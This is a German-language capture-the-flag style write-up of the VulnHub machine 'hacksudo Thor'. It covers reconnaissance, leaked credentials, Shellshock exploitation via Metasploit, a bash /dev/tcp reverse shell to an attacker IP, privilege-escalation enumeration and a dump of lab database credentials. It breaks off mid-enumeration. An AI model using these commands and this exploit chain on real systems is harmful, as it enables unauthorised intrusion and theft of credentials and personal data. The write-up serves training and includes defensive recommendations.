hacksudo - Thor - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss
mysql

Inhaltsverzeichnis

Reconnaissance

Im ersten Schritt der Reconnaissance verwenden wir arp-scan, um Hosts im lokalen Netzwerk zu entdecken. Dies hilft uns, die IP-Adresse des Zielsystems zu identifizieren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.133	08:00:27:2a:e8:d6	PCS Systemtechnik GmbH
                

Hier sehen wir, dass die IP-Adresse 192.168.2.133 dem Host mit der MAC-Adresse 08:00:27:2a:e8:d6 zugeordnet ist. Diese Information ist wichtig für die weitere Analyse.
**Empfehlung:** Es ist ratsam, statische ARP-Einträge zu verwenden, um ARP-Spoofing-Angriffe zu verhindern.

Als nächstes fügen wir einen Eintrag in die /etc/hosts-Datei hinzu, um die IP-Adresse dem Hostnamen hacksudo.vuln zuzuordnen. Dies erleichtert die Arbeit mit dem Zielsystem, da wir den Hostnamen anstelle der IP-Adresse verwenden können.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.133    hacksudo.vuln
                

Wir haben den Hostnamen hacksudo.vuln erfolgreich der IP-Adresse 192.168.2.133 zugeordnet.
**Empfehlung:** Es ist wichtig, die /etc/hosts-Datei regelmäßig zu überprüfen und zu sichern, um Manipulationen zu verhindern.

Nun verwenden wir nmap, um die offenen Ports und Dienste auf dem Zielsystem zu scannen. Der Befehl nmap -sS -sC -T5 -AO 192.168.2.133 -p- führt einen SYN-Scan (-sS), einen Standard-Skript-Scan (-sC), eine aggressive Timing-Vorlage (-T5), eine Betriebssystem- und Dienstversionserkennung (-AO) und einen Port-Scan aller 65535 Ports (-p-) durch. Anschließend filtern wir die Ausgabe mit grep open, um nur die offenen Ports anzuzeigen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.133 -p- | grep open
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                

Wir haben festgestellt, dass die Ports 21 (FTP), 22 (SSH) und 80 (HTTP) auf dem Zielsystem offen sind. Dies sind interessante Angriffspunkte, die wir in den nächsten Schritten genauer untersuchen werden.
**Empfehlung:** Es ist ratsam, unnötige Dienste zu deaktivieren und dieFirewall-Regeln zu überprüfen, um den Angriffsvektor zu minimieren.

Um einen detaillierteren Scan durchzuführen und die genauen Versionen der laufenden Dienste zu ermitteln, führen wir den nmap-Befehl ohne Filterung durch. Dies liefert uns zusätzliche Informationen, die für die Ausnutzung von Schwachstellen relevant sein könnten.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.133 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 23:54 CEST
Nmap scan report for HacksudoThor (192.168.2.133)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 3736603e26ae233fe18b5d18e7a7c7ce (RSA)
|   256 349a57607d6670d5b5ff4796e0362375 (ECDSA)
|_  256 ae7deefe1dbc994d54453d6116f86c87 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:2A:E8:D6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms HacksudoThor (192.168.2.133)
                

Dieser Scan liefert uns detailliertere Informationen über die laufenden Dienste und das Betriebssystem. Wir sehen, dass es sich um ein Linux-System handelt, auf dem Apache 2.4.38, OpenSSH 7.9p1 und Pure-FTPd laufen.
**Empfehlung:** Es ist wichtig, die Software auf dem neuesten Stand zu halten, um bekannte Schwachstellen zu beheben.

Web Enumeration

Nachdem wir die grundlegenden Informationen über das Zielsystem gesammelt haben, konzentrieren wir uns auf die Webanwendung, die auf Port 80 läuft. Wir verwenden nikto, um nach potenziellen Schwachstellen und Konfigurationsfehlern zu suchen.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.133
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.133
+ Target Hostname:    192.168.2.133
+ Target Port:        80
+ Start Time:         2023-06-10 23:55:03 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /README.md: Readme Found.
+ 8909 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-06-10 23:55:16 (GMT2) (13 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                

nikto hat mehrere interessante Ergebnisse gefunden: * Das X-Frame-Options Header fehlt, was Clickjacking-Angriffe ermöglichen könnte. * Das X-Content-Type-Options Header fehlt, was zu MIME-Sniffing-Angriffen führen könnte. * Die Apache-Version ist veraltet. * Directory indexing ist für das Verzeichnis /images/ aktiviert. * Die Datei /icons/README ist vorhanden, was Informationen über die Apache-Konfiguration preisgeben könnte. * Die Datei /README.md wurde gefunden.
**Empfehlung:** Die fehlenden Header sollten konfiguriert, die Apache-Version aktualisiert und Directory indexing deaktiviert werden.

Um weitere Verzeichnisse und Dateien auf dem Webserver zu finden, verwenden wir gobuster. Der Befehl gobuster dir -u http://192.168.2.133 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error durchsucht den Webserver nach Verzeichnissen und Dateien mit verschiedenen Dateiendungen (-x) mithilfe einer Wortliste (-w). Die Option -b '403,404' blendet Fehlerseiten aus, und -e fügt eine Dateiendung an die gefundenen Verzeichnisse an.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.133 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================

http://192.168.2.133/index.php            (Status: 200) [Size: 5357]
http://192.168.2.133/images               (Status: 301) [Size: 315] [--> http://192.168.2.133/images/]
http://192.168.2.133/news.php             (Status: 200) [Size: 8062]
http://192.168.2.133/contact.php          (Status: 200) [Size: 4164]
http://192.168.2.133/home.php             (Status: 200) [Size: 5345]
http://192.168.2.133/header.php           (Status: 200) [Size: 472]
http://192.168.2.133/connect.php          (Status: 200) [Size: 0]
http://192.168.2.133/navbar.php           (Status: 200) [Size: 1515]
http://192.168.2.133/fonts                (Status: 301) [Size: 314] [--> http://192.168.2.133/fonts/]
http://192.168.2.133/transactions.php     (Status: 302) [Size: 8163] [--> home.php]
http://192.168.2.133/customer_login_action.php

==============================================================================================================================

http://192.168.2.133/index.php
 -- The Easter Egg Modal -->

==============================================================================================================================
http://192.168.2.133/contact.php
Contact Us
Corporate Headquarters

Corporate HQ
hackudo Thor Bank
1985 Cedar Bridge Ave, Suite 3
Lakewood, NY 08701
General Contact

Toll-Free: 888-968-6822
Phone: 732-367-5505
Fax: 732-367-2313
Email: vishal@​hacksudo.com
Customer Care (24x7)

Toll-Free: 888-966-6992
Phone: 732-666-5555
Email: care@​hacksudo.com
Live Chat

Download our app and live chat
with our customer care !
App available on Google Play
and iPhone-AppStore.

   
 -- cgi-bin ---
                

gobuster hat mehrere interessante Dateien und Verzeichnisse gefunden, darunter: * /index.php, /news.php, /contact.php, /home.php, /header.php, /connect.php, /navbar.php * Das Verzeichnis /images/ * Die Datei /transactions.php, die auf home.php weiterleitet. * Die Datei /customer_login_action.php
**Empfehlung:** Es ist wichtig, die gefundenen Dateien und Verzeichnisse genauer zu untersuchen, um potenzielle Schwachstellen zu identifizieren.

Um das Verzeichnis /cgi-bin/ zu untersuchen, verwenden wir dirsearch. Der Befehl dirsearch -u http://192.168.2.133 durchsucht den Webserver nach Verzeichnissen und Dateien.

┌──(root㉿cyber)-[~]
└─# dirsearch -u http://192.168.2.133
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, txt, html, py, pub, js, wav, mp4, mp3, jpg, sh | HTTP method: GET | Threads: 30 | Wordlist size: 4715

Output File: /root/.dirsearch/reports/192.168.2.133/_23-06-11_00-40-51.txt

Error Log: /root/.dirsearch/logs/errors-23-06-11_00-40-51.log

Target: http://192.168.2.133/

[00:42:31] 200 -    4KB - /README.md
[00:42:34] 302 -    7KB - /admin_home.php  ->  home.php
[00:42:34] 200 -    1KB - /admin_login.php
[00:42:38] 403 -  278B  - /cgi-bin/
[00:42:39] 200 -    4KB - /contact.php
[00:42:42] 301 -  314B  - /fonts  ->  http://192.168.2.133/fonts/
[00:42:42] 200 -  472B  - /header.php
[00:42:43] 200 -    5KB - /home.php
[00:42:43] 200 -    4KB - /images/
[00:42:43] 301 -  315B  - /images  ->  http://192.168.2.133/images/
[00:42:43] 200 -    5KB - /index.php
[00:42:44] 200 -    5KB - /index.php/login/
[00:42:47] 200 -    8KB - /news.php
                

dirsearch hat zusätzliche Informationen geliefert, darunter: * Die Datei /README.md wurde erneut gefunden. * Die Datei /admin_home.php leitet auf home.php weiter. * Die Datei /admin_login.php wurde gefunden. * Der Zugriff auf das Verzeichnis /cgi-bin/ ist verboten (403).
**Empfehlung:** Es ist ratsam, die /admin_login.php-Seite genauer zu untersuchen, um potenzielle Sicherheitslücken zu finden.

Um das Verzeichnis /cgi-bin/ genauer zu untersuchen, verwenden wir dirsearch erneut, diesmal mit dem spezifischen Ziel http://192.168.2.133/cgi-bin/.

┌──(root㉿cyber)-[~]
└─# dirsearch -u http://192.168.2.133/cgi-bin/
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.2.133/-cgi-bin-_23-06-11_00-43-28.txt

Error Log: /root/.dirsearch/logs/errors-23-06-11_00-43-28.log

Target: http://192.168.2.133/cgi-bin/

[00:43:52] 500 -  611B  - /cgi-bin/shell.sh

Task Completed
                

dirsearch hat die Datei /cgi-bin/shell.sh gefunden, die einen Internal Server Error (500) zurückgibt. Dies deutet darauf hin, dass die Datei vorhanden ist, aber möglicherweise nicht korrekt konfiguriert ist.
**Empfehlung:** Es ist ratsam, die Konfiguration der Datei /cgi-bin/shell.sh zu überprüfen und sicherzustellen, dass sie korrekt ausgeführt werden kann.

Um den Inhalt der Datei /cgi-bin/shell.sh abzurufen, verwenden wir curl.

┌──(root㉿cyber)-[~]
└─# curl http://thor.vuln/cgi-bin/shell.sh
 500 Internal Server Error
 The server encountered an internal error or
misconfiguration and was unable to complete
your request.
...
..
                

Der Server gibt weiterhin einen Internal Server Error (500) zurück, was bestätigt, dass die Datei nicht korrekt ausgeführt werden kann.
**Empfehlung:** Es ist ratsam, die Fehlerprotokolle des Webservers zu überprüfen, um die Ursache des Fehlers zu ermitteln.

Wir versuchen, die Datei /cgi-bin/readme.md abzurufen, um weitere Informationen zu erhalten.

┌──(root㉿cyber)-[~]
└─# curl http://thor.vuln/cgi-bin/readme.md
.....
....
...
..
                

Wir versuchen, die Datei /net_banking.sql abzurufen, um weitere Informationen zu erhalten.

┌──(root㉿cyber)-[~]
└─# curl http://192.168.2.133/net_banking.sql
However some important usernames and passwords are provided below :
* Username of admin is "admin" & password is "password123".
* Username of most of the customers is their "first_name" & password is their "first_name" followed by "123".
                

Die Datei /net_banking.sql enthält Anmeldeinformationen, darunter den Benutzernamen "admin" und das Passwort "password123". Dies ist eine kritische Sicherheitslücke, da Angreifer diese Anmeldeinformationen verwenden könnten, um auf administrative Funktionen zuzugreifen.
**Empfehlung:** Die Anmeldeinformationen sollten sofort geändert und die Datei /net_banking.sql entfernt oder gesichert werden.

Initial Access

Wir haben die Anmeldeinformationen für den Administrator gefunden. Jetzt werden wir Metasploit verwenden, um die ShellShock-Schwachstelle auszunutzen.

┌──(root㉿cyber)-[~]
└─# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v6.3.16-dev                          ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post       ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]
                

Wir suchen nach Shellshock-Exploits in Metasploit.

msf6 > search shellshock exploit
Matching Modules
================

   #   Name                                               Disclosure Date  Rank       Check  Description
   -   ----                                               ---------------  ----       -----  -----------
   0   exploit/linux/http/advantech_switch_bash_env_exec  2015-12-01       excellent  Yes    Advantech Switch Bash Environment Variable Code Injection (Shellshock)
   1   exploit/multi/http/apache_mod_cgi_bash_env_exec    2014-09-24       excellent  Yes    Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
   2   auxiliary/scanner/http/apache_mod_cgi_bash_env     2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3   exploit/multi/http/cups_bash_env_exec              2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)
   4   auxiliary/server/dhclient_bash_env                 2014-09-24       normal     No     DHCP Client Bash Environment Variable Code Injection (Shellshock)
   5   exploit/unix/dhcp/bash_environment                 2014-09-24       excellent  No     Dhclient Bash Environment Variable Injection (Shellshock)
   6   exploit/linux/http/ipfire_bashbug_exec             2014-09-29       excellent  Yes    IPFire Bash Environment Variable Injection (Shellshock)
   7   exploit/multi/misc/legend_bot_exec                 2015-04-27       excellent  Yes    Legend Perl IRC Bot Remote Code Execution
   8   exploit/osx/local/vmware_bash_function_root        2014-09-24       normal     Yes    OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
   9   exploit/multi/ftp/pureftpd_bash_env_exec           2014-09-24       excellent  Yes    Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
   10  exploit/unix/smtp/qmail_bash_env_exec              2014-09-24       normal     No     Qmail SMTP Bash Environment Variable Injection (Shellshock)
   11  exploit/multi/misc/xdh_x_exec                      2015-12-04       excellent  Yes    Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution


Interact with a module by name or index. For example info 11, use 11 or use exploit/multi/misc/xdh_x_exec
                

Wir verwenden den Exploit exploit/multi/http/apache_mod_cgi_bash_env_exec.

msf6 > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
                

Wir zeigen die Optionen für den Exploit an.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > options
Module options (exploit/multi/http/apache_mod_cgi_bash_env_exec):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CMD_MAX_LENGTH  2048             yes       CMD max line length
   CVE             CVE-2014-6271    yes       CVE to check/exploit (Accepted: CVE-2014-6271, CVE-2014-6278)
   HEADER          User-Agent       yes       HTTP header to use
   METHOD          GET              yes       HTTP method to use
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPATH           /bin             yes       Target PATH for binaries used by the CmdStager
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI                        yes       Path to CGI script
   TIMEOUT         5                yes       HTTP read response timeout (seconds)
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.127    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86

                

Wir konfigurieren den Exploit. Zuerst setzen wir `LHOST` auf unsere Kali-Linux-IP-Adresse (192.168.2.127). Dies ist die Adresse, auf der Metasploit auf die Reverse-Shell wartet. Die Option "eth0" ist hier nicht gültig und führt zu einer Fehlermeldung, daher verwenden wir direkt die IP-Adresse.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set LHOST eth0
[-] The following options failed to validate: Value 'eth0' is not valid for option 'LHOST'.
LHOST => 192.168.2.127
                 

Wir konfigurieren den Exploit. Wir setzen `LHOST` auf unsere Kali-Linux-IP-Adresse (192.168.2.127). Dies ist die Adresse, auf der Metasploit auf die Reverse-Shell wartet.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > LHOST => 192.168.2.127
LHOST => 192.168.2.127
                 

Als Nächstes setzen wir `LPORT` auf 4444. Dies ist der Port, auf dem Metasploit auf die Verbindung wartet.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lport 4444
lport => 4444
                

Wir setzen `TARGETURI` auf `/cgi-bin/shell.sh`. Dies ist der Pfad zu dem CGI-Skript, das wir ausnutzen wollen.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set TARGETURI /cgi-bin/shell.sh
TARGETURI => /cgi-bin/shell.sh
                

Wir setzen `RHOSTS` auf die IP-Adresse des Zielsystems (192.168.2.133).

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 192.168.2.133
rhosts => 192.168.2.133
                

Jetzt führen wir den Exploit aus.

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[*] Started reverse TCP handler on 192.168.2.127:4444
[*] Command Stager progress - 100.46% done (1097/1092 bytes)
[*] Sending stage (1017704 bytes) to 192.168.2.133
[*] Meterpreter session 1 opened (192.168.2.127:4444 -> 192.168.2.133:50326) at 2023-06-11 00:59:33 +0200
                

Der Exploit war erfolgreich! Wir haben eine Meterpreter-Session auf dem Zielsystem erhalten.

meterpreter >

Um eine interaktive Shell zu erhalten, verwenden wir den Befehl `shell`.

meterpreter > shell
Process 4624 created.
Channel 1 created.
                

Wir verwenden `nc` (netcat), um eine Reverse-Shell zu erstellen, die stabiler ist als die Meterpreter-Shell. Zuerst starten wir einen Listener auf unserem Kali-System auf Port 9001.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
                

In der Meterpreter-Shell führen wir den Befehl aus, um eine Reverse-Shell zu unserem Kali-System zu senden.

bash -c 'bash -i >& /dev/tcp/192.168.2.127/9001 0>&1'

Wir haben eine Verbindung von dem Zielsystem auf Port 9001 erhalten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.127] from (UNKNOWN) [192.168.2.133] 38440
bash: cannot set terminal process group (500): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.3$
                

Wir haben eine interaktive Shell als Benutzer `www-data` erhalten. Die Meldungen "cannot set terminal process group" und "no job control in this shell" sind typisch für einfache Reverse-Shells und beeinträchtigen die Funktionalität nur geringfügig.

Wir listen den Inhalt des aktuellen Verzeichnisses auf.

bash-4.3$ ls
backup.cgi  shell.sh  vishal.sh
                

Wir listen den Inhalt des aktuellen Verzeichnisses mit detaillierten Informationen auf.

bash-4.3$ ls -la
total 20
drwxr-xr-x  2 root root 4096 Jul 30  2021 .
drwxr-xr-x 57 root root 4096 Jun 14  2021 ..
-rwx--xr-x  1 root root  102 Jun 12  2021 backup.cgi
-rwx--xr-x  1 root root  102 Jun 12  2021 shell.sh
-rwxr-xr-x  1 root root   73 Jun 12  2021 vishal.sh
                

Wir sehen, dass die Dateien `backup.cgi`, `shell.sh` und `vishal.sh` vorhanden sind.

Wir lesen den Inhalt von `backup.cgi`.

bash-4.3$ cat backup.cgi
#!/bin/bash

echo “Content-type: text/plain”
echo
echo
                

`backup.cgi` scheint ein einfaches CGI-Skript zu sein.

Privilege Escalation

Nachdem wir initialen Zugriff auf das System als Benutzer `www-data` erlangt haben, ist unser nächstes Ziel, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten. Dies ist ein entscheidender Schritt, um das System vollständig zu kompromittieren.

Wir überprüfen, welche `sudo`-Rechte der aktuelle Benutzer (`www-data`) hat. Dies gibt uns Aufschluss darüber, welche Befehle wir ohne Passwort als andere Benutzer ausführen dürfen.

bash-4.3$ sudo -l
Matching Defaults entries for www-data on HackSudoThor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on HackSudoThor:
    (thor) NOPASSWD: /home/thor/./hammer.sh
                

Interessanterweise darf der Benutzer `www-data` das Skript `/home/thor/./hammer.sh` als Benutzer `thor` ohne Passwort ausführen. Dies ist eine potenzielle Möglichkeit zur Privilegienerweiterung.

Wir führen das Skript `/home/thor/./hammer.sh` als Benutzer `thor` aus.

bash-4.3$ sudo -u thor /home/thor/./hammer.sh
HELLO want to talk to Thor?

Enter Thor  Secret Key : id
Hey Dear ! I am id , Please enter your Secret massage : whoami
thor
Thank you for your precious time!
                

Das Skript scheint eine Art interaktives Programm zu sein, das nach einem "Secret Key" fragt und dann eine Nachricht entgegennimmt. Wir haben `id` als Secret Key und `whoami` als Nachricht eingegeben. Das Ergebnis ist, dass der Benutzer, unter dem wir den Befehl ausgeführt haben (thor), ausgegeben wird.

Um weitere Möglichkeiten zur Privilegienerweiterung zu finden, suchen wir nach SUID-Dateien (Set User ID) auf dem System. SUID-Dateien werden mit den Rechten des Dateibesitzers ausgeführt, unabhängig davon, welcher Benutzer sie ausführt. Dies kann ausgenutzt werden, um Root-Rechte zu erlangen, wenn eine SUID-Datei einem Root gehört.

bash-4.3$ find / -type f -perm -4000 -ls 2>/dev/null
   265563     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   279197    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
   265710     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   266015     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   262180     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   262179     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   262182     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   262183     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   266013     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   269099     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   526885     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   269009    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
                

Die Liste der SUID-Dateien ist ziemlich umfangreich. `sudo` und `su` sind besonders interessant, aber oft schwer auszunutzen, da sie in der Regel gut gesichert sind.

Wir suchen auch nach Dateien, denen Capabilities zugewiesen sind. Capabilities sind eine feinere Möglichkeit, Privilegien zu verwalten als SUID-Bits.

bash-4.3$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
                

Die Datei `/usr/bin/ping` hat die Capability `cap_net_raw+ep`. Dies ermöglicht es dem Benutzer, Raw-Sockets zu erstellen, was normalerweise Root-Rechte erfordert. Allerdings ist dies in diesem Fall nicht direkt für eine Privilegienerweiterung ausnutzbar.

Wir lesen den Inhalt der Datei `config.php`, um möglicherweise Anmeldeinformationen oder andere interessante Informationen zu finden.

bash-4.3$ cat config.php

/* Define username and password */
$Username = 'admin';
$Password = '$2y$12$Grqes5Qu2gIUkW4w4juW8.PjqAO6IeD3B0o8kAXPSwmtj.da525Tq';
                

Wir finden einen Benutzernamen `admin` und ein gehashtes Passwort. Dieses Passwort ist ein bcrypt-Hash und kann möglicherweise mit Brute-Force-Techniken geknackt werden. Allerdings ist dies zeitaufwendig und möglicherweise nicht der schnellste Weg, um Root-Zugriff zu erhalten.

Wir überprüfen die laufenden Dienste auf dem System.

bash-4.3$ ss -altpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port
LISTEN    0         80               127.0.0.1:3306             0.0.0.0:*
LISTEN    0         9                  0.0.0.0:21               0.0.0.0:*
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         128                      *:80                     *:*
LISTEN    0         9                     [::]:21                  [::]:*
LISTEN    0         128                   [::]:22                  [::]:*
                

Wir sehen, dass MySQL auf Port 3306 (nur lokal), FTP auf Port 21, SSH auf Port 22 und HTTP auf Port 80 laufen.

Wir untersuchen das `/home/` Verzeichnis.

bash-4.3$ ls -la /home/
total 12
drwxr-xr-x  3 root root 4096 Aug  2  2021 .
drwxr-xr-x 18 root root 4096 Jul 29  2021 ..
drwxrwx---  5 thor thor 4096 Aug  2  2021 thor
                

Wir sehen, dass es ein Benutzerverzeichnis `/home/thor/` gibt.

Wir lesen den Inhalt von `connect.php`, um Datenbank-Anmeldeinformationen zu finden.

bash-4.3$ cat connect.php

$servername = "localhost";
// Enter your MySQL username below(default=root)
$username = "thor";
// Enter your MySQL password below
$password = "password";
$dbname = "hacksudo";
                

Wir haben die Datenbank-Anmeldeinformationen für den Benutzer `thor` gefunden: Benutzername ist `thor` und Passwort ist `password`.

Wir verbinden uns mit der MySQL-Datenbank als Benutzer `thor`.

bash-4.3$ mysql -u thor -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 221219
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
                

Wir wählen die Datenbank `hacksudo` aus.

MariaDB [(none)]> use hacksudo;

Wir wählen alle Daten aus der Tabelle `admin` aus.

MariaDB [hacksudo]> select * from admin;
+----+-------+-------------+
| id | uname | pwd         |
+----+-------+-------------+
|  1 | admin | password123 |
+----+-------+-------------+
1 row in set (0.000 sec)
                

Wir bestätigen, dass die Anmeldeinformationen für den Administrator in der Datenbank gespeichert sind: Benutzername ist `admin` und Passwort ist `password123`.

Wir wählen alle Daten aus der Tabelle `customer` aus.

MariaDB [hacksudo]> select * from customer;
+---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+
| cust_id | first_name | last_name  | gender | dob        | aadhar_no | email                  | phone_no       | address                                                                  | branch  | account_no | pin  | uname   | pwd       |
+---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+
|       1 | Nafees     | Zakee      | male   | 1994-11-28 | 123456789 | zakee.nafees@gmail.com | +91 8918722499 | 22/10, Secondary Road, Durgapur - 713204                                 | delhi   | 1122334455 | 1234 | zakee94 | nafees123 |
|       2 | Md Salman  | Ali        | male   | 1994-10-11 | 987654321 | ali.salman@gmail.com   | +966 895432167 | Al Ahsa Street Malaz, King Abdulaziz Rd, Alamal Dist. RIYADH 12643-2121. | riyadh  | 1133557788 | 1234 | salman  | salman123 |
|       3 | Tushar     | Kr. Pandey | male   | 1995-02-03 | 125656765 | tusharpkt@gmail.com    | +334 123456987 | Champ de Mars,
5 Avenue Anatole France,
75007 Paris, France          | paris   | 1122338457 | 1357 | tushar  | tushar123 |
|       4 | Jon        | Snow       | male   | 1985-02-03 | 129156787 | jon.snow@gmail.com     | +1 8918332797  | The Night Watch,
King in the North,
The North Remembers,
Westeros.    | newyork | 1233556739 | 1234 | jon     | snow123   |
+---------+------------+------------+--------+------------+-----------+------------------------+----------------+--------------------------------------------------------------------------+---------+------------+------+---------+-----------+
4 rows in set (0.000 sec)
                

Wir sehen die Kundendaten mit Benutzernamen und Passwörtern. Diese Informationen könnten für weitere Angriffe verwendet werden.

Wir überprüfen die Berechtigungen der Datei `/etc/passwd`.

bash-4.3$ ls -la /etc/passwd
